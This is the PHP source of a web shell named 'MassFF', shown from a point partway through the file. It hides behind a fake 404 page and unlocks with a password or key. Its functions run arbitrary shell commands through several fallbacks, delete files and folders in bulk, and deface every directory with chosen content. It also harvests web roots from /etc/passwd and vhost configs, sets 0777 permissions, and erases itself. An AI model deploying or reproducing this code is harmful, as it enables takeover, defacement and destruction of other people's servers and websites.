$v) { if ($k !== $i) { $isAssoc = true; break; } $i++; } $parts = array(); if ($isAssoc) { foreach ($data as $k => $v) { $parts[] = json_encode((string) $k) . ':' . json_encode($v); } return '{' . implode(',', $parts) . '}'; } else { foreach ($data as $v) { $parts[] = json_encode($v); } return '[' . implode(',', $parts) . ']'; } } return '""'; } } if (!function_exists('json_decode')) { function json_decode($json, $assoc = false) { $json = trim($json); if ($json === 'null') return null; if ($json === 'true') return true; if ($json === 'false') return false; return null; } } function _h($str) { if (defined('ENT_QUOTES')) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); } return htmlspecialchars($str); } define('PASSWORD_HASH_VAL', '$2y$10$vAxFEBvxZVoPZ99RPwCECOfr/M4YbRb/LdJ89nKDPhDa539sKYAUK'); if (isset($_GET['logout'])) { @session_destroy(); @ob_end_clean(); if (!headers_sent()) { header('HTTP/1.1 302 Found'); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); } else { echo ''; } exit; } $login_error = false; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['wp-submit'])) { $password = isset($_POST['pwd']) ? $_POST['pwd'] : ''; if (password_verify($password, PASSWORD_HASH_VAL)) { $_SESSION['massff_logged_in'] = true; $_SESSION['massff_login_time'] = time(); @ob_end_clean(); if (!headers_sent()) { header('HTTP/1.1 302 Found'); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); } else { echo ''; } exit; } else { $login_error = true; } } if (!isset($_SESSION['massff_logged_in']) || $_SESSION['massff_logged_in'] !== true) { @ob_end_clean(); if ((!isset($_GET['key']) || md5($_GET['key']) !== '4cf4af71e1d0363b490151aa99957a54') && !$login_error) { if (!headers_sent()) { header('HTTP/1.1 404 Not Found'); header('Content-Type: text/html; charset=iso-8859-1'); } echo '' . "\n"; echo '' . "\n"; echo '404 Not Found' . "\n"; echo '' . "\n"; echo '

Not Found

' . "\n"; echo '

The requested URL was not found on this server.

' . "\n"; echo '

' . _h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Apache/2.4.62 (Debian)') . ' Server at ' . _h(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost') . ' Port ' . _h(isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : '80') . '

' . "\n"; echo ''; exit; } if (!headers_sent()) { header('HTTP/1.1 200 OK'); header('Content-Type: text/html; charset=UTF-8'); } $loginAction = strtok($_SERVER['REQUEST_URI'], '?') . '?key=xr00t'; ?> Login

Authentication Failed Invalid password. Please try again.

output[] = array( 'time' => date('H:i:s'), 'type' => $type, 'message' => $message ); } function getOutput() { return $this->output; } function isDomainName($name) { return (bool) preg_match('/^[a-z0-9]([a-z0-9\-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9\-]*[a-z0-9])?)*\.[a-z]{2,}$/i', $name); } function addWebDir(&$dirs, $path) { $real = @realpath($path); if ($real && is_dir($real) && is_readable($real)) { $dirs[$real] = true; return true; } return false; } function scanForDomainDirs($baseDir, &$dirs, $depth, $maxDepth) { if ($depth === null) $depth = 0; if ($maxDepth === null) $maxDepth = 3; if ($depth > $maxDepth || !is_dir($baseDir) || !is_readable($baseDir)) return; $dh = @opendir($baseDir); if (!$dh) return; while (($item = readdir($dh)) !== false) { if ($item === '.' || $item === '..') continue; $fullPath = $baseDir . '/' . $item; if (!is_dir($fullPath)) continue; if ($this->isDomainName($item)) { $foundSub = false; for ($i = 0; $i < count($this->webSubDirs); $i++) { if ($this->addWebDir($dirs, $fullPath . '/' . $this->webSubDirs[$i])) { $foundSub = true; } } if (!$foundSub) { $this->addWebDir($dirs, $fullPath); } } else { if ($depth < $maxDepth) { $this->scanForDomainDirs($fullPath, $dirs, $depth + 1, $maxDepth); } } } closedir($dh); } function detectWebDirs() { $dirs = array(); for ($i = 0; $i < count($this->baseScanPaths); $i++) { if (is_dir($this->baseScanPaths[$i])) { $this->scanForDomainDirs($this->baseScanPaths[$i], $dirs, 0, 3); } } $staticGlobs = array( '/home/*/public_html', '/home/*/htdocs', '/home/*/www', '/var/www/html', '/var/www/*/html', '/usr/local/apache/htdocs', '/usr/share/nginx/html', '/opt/lampp/htdocs' ); for ($i = 0; $i < count($staticGlobs); $i++) { $found = @glob($staticGlobs[$i], GLOB_ONLYDIR); if ($found) { for ($j = 0; $j < count($found); $j++) { $this->addWebDir($dirs, $found[$j]); } } } $etcPasswd = @file_get_contents('/etc/passwd'); if ($etcPasswd) { $lines = explode("\n", $etcPasswd); for ($i = 0; $i < count($lines); $i++) { $parts = explode(':', $lines[$i]); if (isset($parts[5]) && !empty($parts[5]) && is_dir($parts[5])) { $homeDir = $parts[5]; for ($j = 0; $j < count($this->webSubDirs); $j++) { $this->addWebDir($dirs, $homeDir . '/' . $this->webSubDirs[$j]); } $scanSubs = array('domains', 'sites', 'vhosts', 'www'); for ($j = 0; $j < count($scanSubs); $j++) { $subPath = $homeDir . '/' . $scanSubs[$j]; if (is_dir($subPath)) { $this->scanForDomainDirs($subPath, $dirs, 0, 2); } } } } } $vhostsConf = array( '/etc/apache2/sites-enabled', '/etc/httpd/conf.d', '/etc/nginx/sites-enabled', '/usr/local/lsws/conf/vhosts', '/usr/local/apache/conf/vhosts' ); for ($i = 0; $i < count($vhostsConf); $i++) { if (!is_dir($vhostsConf[$i])) continue; $cdh = @opendir($vhostsConf[$i]); if (!$cdh) continue; while (($cf = readdir($cdh)) !== false) { if ($cf === '.' || $cf === '..') continue; $confContent = @file_get_contents($vhostsConf[$i] . '/' . $cf); if (!$confContent) continue; if (preg_match_all('/(?:DocumentRoot|root|docRoot)\s+["\']?([^\s"\';}\]+)/i', $confContent, $matches)) { for ($j = 0; $j < count($matches[1]); $j++) { $this->addWebDir($dirs, $matches[1][$j]); } } } closedir($cdh); } return array_keys($dirs); } function selfDelete() { $file = __FILE__; $methods = array(); if (@unlink($file)) { return array('success' => true, 'method' => 'unlink'); } $methods[] = 'unlink'; if (@chmod($file, 0777) && @unlink($file)) { return array('success' => true, 'method' => 'chmod+unlink'); } $methods[] = 'chmod+unlink'; $cmds = array('exec', 'shell_exec', 'system', 'passthru', 'proc_open'); for ($i = 0; $i < count($cmds); $i++) { $fn = $cmds[$i]; if (!function_exists($fn)) continue; $cmd = "rm -f " . escapeshellarg($file) . " 2>&1"; switch ($fn) { case 'exec': @exec($cmd, $out, $ret); if ($ret === 0 && !file_exists($file)) return array('success' => true, 'method' => 'exec'); break; case 'shell_exec': @shell_exec($cmd); if (!file_exists($file)) return array('success' => true, 'method' => 'shell_exec'); break; case 'system': @system($cmd, $ret); if ($ret === 0 && !file_exists($file)) return array('success' => true, 'method' => 'system'); break; case 'passthru': ob_start(); @passthru($cmd); ob_end_clean(); if (!file_exists($file)) return array('success' => true, 'method' => 'passthru'); break; case 'proc_open': $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); if (!file_exists($file)) return array('success' => true, 'method' => 'proc_open'); } break; } $methods[] = $fn; } @file_put_contents($file, ' true, 'method' => 'overwrite(self-destruct)'); } return array('success' => false, 'method' => 'all failed: ' . implode(', ', $methods)); } function findByNameDepth($dir, $name, $type, $currentDepth, $maxDepth) { if ($currentDepth === null) $currentDepth = 0; if ($maxDepth === null) $maxDepth = 999; $results = array(); if (!is_dir($dir)) return $results; $handle = @opendir($dir); if (!$handle) return $results; while (($item = readdir($handle)) !== false) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_file($path) && ($type === 'file' || $type === 'all')) { if ($item === $name || @fnmatch($name, $item)) { $results[] = $path; } } if (is_dir($path)) { if (($type === 'dir' || $type === 'all') && ($item === $name || @fnmatch($name, $item))) { $results[] = $path; } if ($currentDepth < $maxDepth) { $sub = $this->findByNameDepth($path, $name, $type, $currentDepth + 1, $maxDepth); for ($i = 0; $i < count($sub); $i++) { $results[] = $sub[$i]; } } } } closedir($handle); return $results; } function massDeleteFiles($dir, $filename, $maxDepth) { if ($maxDepth === null) $maxDepth = 999; $found = $this->findByNameDepth($dir, $filename, 'file', 0, $maxDepth); $this->addOutput("Scanning depth: $maxDepth", 'info'); $deleted = 0; $failed = 0; for ($i = 0; $i < count($found); $i++) { if (@unlink($found[$i]) || (@chmod($found[$i], 0777) && @unlink($found[$i]))) { $this->addOutput("Deleted: " . $found[$i], 'success'); $deleted++; } else { $this->addOutput("Failed: " . $found[$i], 'error'); $failed++; } } $this->addOutput("Total: " . count($found) . " | Deleted: $deleted | Failed: $failed", 'info'); return array('found' => count($found), 'deleted' => $deleted, 'failed' => $failed); } function massDeleteFolders($dir, $foldername, $maxDepth) { if ($maxDepth === null) $maxDepth = 999; $found = $this->findByNameDepth($dir, $foldername, 'dir', 0, $maxDepth); $this->addOutput("Scanning depth: $maxDepth", 'info'); $this->_sortByDepth($found); $deleted = 0; $failed = 0; for ($i = 0; $i < count($found); $i++) { if ($this->deleteDirectoryRecursive($found[$i])) { $deleted++; } else { $failed++; } } $this->addOutput("Total: " . count($found) . " | Deleted: $deleted | Failed: $failed", 'info'); return array('found' => count($found), 'deleted' => $deleted, 'failed' => $failed); } function _sortByDepth(&$arr) { $n = count($arr); for ($i = 0; $i < $n - 1; $i++) { for ($j = 0; $j < $n - $i - 1; $j++) { $depthA = substr_count($arr[$j], DIRECTORY_SEPARATOR); $depthB = substr_count($arr[$j + 1], DIRECTORY_SEPARATOR); if ($depthB > $depthA) { $tmp = $arr[$j]; $arr[$j] = $arr[$j + 1]; $arr[$j + 1] = $tmp; } } } } function deleteDirectoryRecursive($dir) { $dir = rtrim($dir, '/\\'); $handle = @opendir($dir); if ($handle) { while (($item = readdir($handle)) !== false) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $this->deleteDirectoryRecursive($path); } else { @chmod($path, 0777); @unlink($path); } } closedir($handle); @chmod($dir, 0777); if (@rmdir($dir)) { $this->addOutput("Deleted: $dir", 'success'); return true; } } if (function_exists('exec')) { @exec("rm -rf " . escapeshellarg($dir) . " 2>&1", $out, $ret); if ($ret === 0 && !file_exists($dir)) { $this->addOutput("Deleted: $dir", 'success'); return true; } } $this->addOutput("Failed: $dir", 'error'); return false; } function collectDirs($dir, $currentDepth, $maxDepth) { if ($currentDepth === null) $currentDepth = 0; if ($maxDepth === null) $maxDepth = 0; $result = array($dir); if ($maxDepth > 0 && $currentDepth < $maxDepth && is_dir($dir) && is_readable($dir)) { $dh = @opendir($dir); if ($dh) { while (($item = readdir($dh)) !== false) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $sub = $this->collectDirs($path, $currentDepth + 1, $maxDepth); for ($i = 0; $i < count($sub); $i++) { $result[] = $sub[$i]; } } } closedir($dh); } } return $result; } function deleteAll($dir, $filesOnly, $dirsOnly, $maxDepth) { if ($maxDepth === null) $maxDepth = 999; $this->addOutput("Scanning depth: $maxDepth", 'info'); $dirs = $this->collectDirs($dir, 0, $maxDepth); $totalDeleted = 0; $totalFailed = 0; for ($i = 0; $i < count($dirs); $i++) { $r = $this->deleteAllSingle($dirs[$i], $filesOnly, $dirsOnly); $totalDeleted += $r['deleted']; $totalFailed += $r['failed']; } return array('deleted' => $totalDeleted, 'failed' => $totalFailed); } function deleteAllSingle($dir, $filesOnly, $dirsOnly) { $deleted = 0; $failed = 0; if (!is_dir($dir)) { if (!file_exists($dir)) return array('deleted' => 0, 'failed' => 0); $this->addOutput("Not a directory: $dir", 'error'); return array('deleted' => 0, 'failed' => 1); } $handle = @opendir($dir); if ($handle) { while (($item = readdir($handle)) !== false) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_file($path) && !$dirsOnly) { if (@unlink($path) || (@chmod($path, 0777) && @unlink($path))) { $this->addOutput("Deleted: $path", 'success'); $deleted++; } else { $this->addOutput("Failed: $path", 'error'); $failed++; } } elseif (is_dir($path) && !$filesOnly) { if ($this->deleteDirectoryRecursive($path)) { $deleted++; } else { $failed++; } } } closedir($handle); } $this->addOutput("Deleted: $deleted | Failed: $failed", 'info'); return array('deleted' => $deleted, 'failed' => $failed); } function massDeface($dir, $filename, $content, $method, $maxDepth) { if (empty($method)) $method = 'auto'; if ($maxDepth === null) $maxDepth = 0; $dirs = $this->collectDirs($dir, 0, $maxDepth); $this->addOutput("Found " . count($dirs) . " directories (depth: $maxDepth)", 'info'); $created = 0; $failed = 0; for ($i = 0; $i < count($dirs); $i++) { $targetPath = $dirs[$i] . DIRECTORY_SEPARATOR . $filename; if ($this->writeFile($targetPath, $content, $method)) { $this->addOutput("Created: $targetPath", 'success'); $created++; } else { $this->addOutput("Failed: $targetPath", 'error'); $failed++; } } $this->addOutput("Created: $created | Failed: $failed | Dirs: " . count($dirs), 'info'); return array('created' => $created, 'failed' => $failed, 'dirs' => count($dirs)); } function writeFile($path, $content, $method) { if (empty($method)) $method = 'file_put_contents'; $dir = dirname($path); if (!is_dir($dir)) return false; // Try to make the directory writable @chmod($dir, 0777); switch ($method) { case 'file_put_contents': if (function_exists('file_put_contents')) { $written = @file_put_contents($path, $content); if ($written !== false) { @chmod($path, 0644); return true; } } return false; case 'fopen': $fp = @fopen($path, 'wb'); if ($fp) { $written = @fwrite($fp, $content); @fclose($fp); if ($written !== false) { @chmod($path, 0644); return true; } } return false; case 'move_uploaded': $tmpDir = $this->getTempDir(); $tmpFile = @tempnam($tmpDir, 'mff'); if ($tmpFile) { // Tulis konten ke tmpfile $fh = @fopen($tmpFile, 'wb'); if ($fh) { @fwrite($fh, $content); @fclose($fh); $tmpWritten = true; } else { $tmpWritten = (@file_put_contents($tmpFile, $content) !== false); } if ($tmpWritten) { if (@rename($tmpFile, $path)) { @chmod($path, 0644); return true; } if (@copy($tmpFile, $path)) { @unlink($tmpFile); @chmod($path, 0644); return true; } } @unlink($tmpFile); } return false; case 'auto': $autoMethods = array('file_put_contents', 'fopen', 'move_uploaded'); foreach ($autoMethods as $m) { if ($this->writeFile($path, $content, $m)) return true; } // Last resort: force chmod 777 lalu coba lagi @chmod($dir, 0777); foreach ($autoMethods as $m) { if ($this->writeFile($path, $content, $m)) return true; } return false; default: return $this->writeFile($path, $content, 'file_put_contents'); } } function writeFileFallback($path, $content) { @chmod(dirname($path), 0777); $fp = @fopen($path, 'w'); if ($fp) { $w = @fwrite($fp, $content); @fclose($fp); if ($w !== false) { @chmod($path, 0644); @chmod(dirname($path), 0755); return true; } } @chmod(dirname($path), 0755); return false; } function chmodByName($dir, $name, $perms, $type) { if (empty($type)) $type = 'all'; $found = $this->findByNameDepth($dir, $name, $type, 0, 999); $success = 0; $failed = 0; $perm = $this->convertPermissions($perms); if ($perm === false) { $this->addOutput("Invalid permission: $perms", 'error'); return array('success' => 0, 'failed' => 0); } for ($i = 0; $i < count($found); $i++) { if (@chmod($found[$i], $perm)) { $this->addOutput("Chmod " . $found[$i] . " => " . decoct($perm), 'success'); $success++; } else { $this->addOutput("Failed: " . $found[$i], 'error'); $failed++; } } $this->addOutput("Success: $success | Failed: $failed", 'info'); return array('success' => $success, 'failed' => $failed); } function chmodAll($dir, $perms, $filesOnly, $dirsOnly) { $count = 0; $perm = $this->convertPermissions($perms); if ($perm === false || !is_dir($dir)) return 0; if (!$filesOnly && @chmod($dir, $perm)) $count++; $handle = @opendir($dir); if ($handle) { while (($item = readdir($handle)) !== false) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $count += $this->chmodAll($path, $perms, $filesOnly, $dirsOnly); } else { if (!$dirsOnly && @chmod($path, $perm)) $count++; } } closedir($handle); } return $count; } function convertPermissions($perms) { if (is_numeric($perms) && preg_match('/^0?[0-7]{3,4}$/', $perms)) { return octdec($perms); } return false; } function listDirectory($dir) { $items = array('dirs' => array(), 'files' => array()); if (!is_dir($dir)) return $items; $handle = @opendir($dir); if ($handle) { while (($item = readdir($handle)) !== false) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; $perms = @fileperms($path); $info = array( 'name' => $item, 'path' => $path, 'perms' => $perms ? substr(sprintf('%o', $perms), -4) : 'N/A', 'size' => is_file($path) ? @filesize($path) : 0 ); if (is_dir($path)) { $items['dirs'][] = $info; } else { $items['files'][] = $info; } } closedir($handle); } return $items; } function executeCommand($cmd) { $output = ''; $cmd = trim($cmd); if (empty($cmd)) return 'No command provided.'; if (function_exists('proc_open')) { $desc = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { fclose($pipes[0]); $output = @stream_get_contents($pipes[1]); $stderr = @stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); if ($stderr) $output .= "\n" . $stderr; return $output; } } if (function_exists('exec')) { @exec($cmd . ' 2>&1', $out, $ret); return implode("\n", $out); } if (function_exists('shell_exec')) { $result = @shell_exec($cmd . ' 2>&1'); if ($result !== null) return $result; } if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); return ob_get_clean(); } if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); return ob_get_clean(); } if (function_exists('popen')) { $handle = @popen($cmd . ' 2>&1', 'r'); if ($handle) { $output = ''; while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); return $output; } } return '[!] No execution function available. Disabled functions: ' . @ini_get('disable_functions'); } function getDisabledFunctions() { $disabled = @ini_get('disable_functions'); if (!$disabled) return array(); $list = explode(',', $disabled); $result = array(); for ($i = 0; $i < count($list); $i++) { $fn = trim($list[$i]); if (!empty($fn)) $result[] = $fn; } return $result; } function getAvailableExecFunctions() { $fns = array('exec', 'shell_exec', 'system', 'passthru', 'proc_open', 'popen'); $available = array(); for ($i = 0; $i < count($fns); $i++) { if (function_exists($fns[$i])) { $available[] = $fns[$i]; } } return $available; } function getTempDir() { $dirs = array(); if (function_exists('sys_get_temp_dir')) { $dirs[] = sys_get_temp_dir(); } if (isset($_SERVER['TMP'])) $dirs[] = $_SERVER['TMP']; if (isset($_SERVER['TEMP'])) $dirs[] = $_SERVER['TEMP']; if (isset($_SERVER['TMPDIR'])) $dirs[] = $_SERVER['TMPDIR']; $dirs[] = '/tmp'; $dirs[] = '/var/tmp'; $dirs[] = dirname(__FILE__); for ($i = 0; $i < count($dirs); $i++) { if (@is_dir($dirs[$i]) && @is_writable($dirs[$i])) { return $dirs[$i]; } } return dirname(__FILE__); } } $tool = new MassFF(); $currentDir = isset($_GET['dir']) ? @realpath($_GET['dir']) : @getcwd(); if (!$currentDir || !@is_dir($currentDir)) { $currentDir = @getcwd(); if (!$currentDir) { $currentDir = dirname(__FILE__); } } $dirParam = urlencode($currentDir); $isAjax = (isset($_POST['ajax']) && $_POST['ajax'] === '1') || (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = isset($_POST['action']) ? $_POST['action'] : ''; if ($action === 'terminal_exec') { $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; $cwd = isset($_POST['cwd']) ? $_POST['cwd'] : $currentDir; if (!empty($cwd) && is_dir($cwd)) { @chdir($cwd); } $output = $tool->executeCommand($cmd); $newCwd = @getcwd(); if (!$newCwd) $newCwd = $cwd; @ob_end_clean(); @header('Content-Type: application/json; charset=UTF-8'); @header('HTTP/1.1 200 OK'); echo json_encode(array('output' => $output, 'cwd' => $newCwd)); exit; } if ($action === 'self_delete' && isset($_POST['confirm'])) { $result = $tool->selfDelete(); if ($isAjax) { @ob_end_clean(); @header('Content-Type: application/json; charset=UTF-8'); @header('HTTP/1.1 200 OK'); echo json_encode(array('success' => $result['success'], 'method' => $result['method'], 'output' => array())); exit; } if ($result['success']) { session_destroy(); @ob_end_clean(); @header('HTTP/1.1 200 OK'); @header('Content-Type: text/html; charset=UTF-8'); echo 'Deleted

File Deleted Successfully

Method: ' . _h($result['method']) . '

'; exit; } else { $tool->addOutput("Self-delete failed: " . $result['method'], 'error'); } } $maxDepth = isset($_POST['maxdepth']) ? intval($_POST['maxdepth']) : 999; switch ($action) { case 'mass_delete_files': $filename = isset($_POST['filename']) ? trim($_POST['filename']) : ''; if (!empty($filename)) $tool->massDeleteFiles($currentDir, $filename, $maxDepth); break; case 'mass_delete_folders': $foldername = isset($_POST['foldername']) ? trim($_POST['foldername']) : ''; if (!empty($foldername)) $tool->massDeleteFolders($currentDir, $foldername, $maxDepth); break; case 'delete_all': $filesOnly = isset($_POST['files_only']) && $_POST['files_only'] === '1'; $dirsOnly = isset($_POST['dirs_only']) && $_POST['dirs_only'] === '1'; $tool->deleteAll($currentDir, $filesOnly, $dirsOnly, $maxDepth); break; case 'mass_deface': $filename = isset($_POST['filename']) ? trim($_POST['filename']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; $method = isset($_POST['method']) ? $_POST['method'] : 'auto'; $maxDepth = isset($_POST['maxdepth']) ? intval($_POST['maxdepth']) : 0; if (!empty($filename)) $tool->massDeface($currentDir, $filename, $content, $method, $maxDepth); break; case 'chmod_by_name': $name = isset($_POST['name']) ? trim($_POST['name']) : ''; $perms = isset($_POST['permissions']) ? $_POST['permissions'] : '755'; $type = isset($_POST['type']) ? $_POST['type'] : 'all'; if (!empty($name)) $tool->chmodByName($currentDir, $name, $perms, $type); break; case 'chmod_all': $perms = isset($_POST['permissions']) ? $_POST['permissions'] : '755'; $filesOnly = isset($_POST['files_only']) && $_POST['files_only'] === '1'; $dirsOnly = isset($_POST['dirs_only']) && $_POST['dirs_only'] === '1'; $count = $tool->chmodAll($currentDir, $perms, $filesOnly, $dirsOnly); $tool->addOutput("Chmod completed: $count items", 'info'); break; } if ($isAjax) { @ob_end_clean(); @header('Content-Type: application/json; charset=UTF-8'); @header('HTTP/1.1 200 OK'); echo json_encode(array('success' => true, 'output' => $tool->getOutput())); exit; } } $items = $tool->listDirectory($currentDir); function formatSize($bytes) { if ($bytes >= 1048576) return round($bytes / 1048576, 1) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 1) . ' KB'; return $bytes . ' B'; } $serverName = function_exists('php_uname') ? @php_uname('n') : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'N/A'); $phpVer = PHP_VERSION; $safeMode = @ini_get('safe_mode') ? 'ON' : 'OFF'; $availExec = $tool->getAvailableExecFunctions(); @ob_end_clean(); if (!headers_sent()) { @header('HTTP/1.1 200 OK'); @header('Content-Type: text/html; charset=UTF-8'); } ?> MassFF

Processing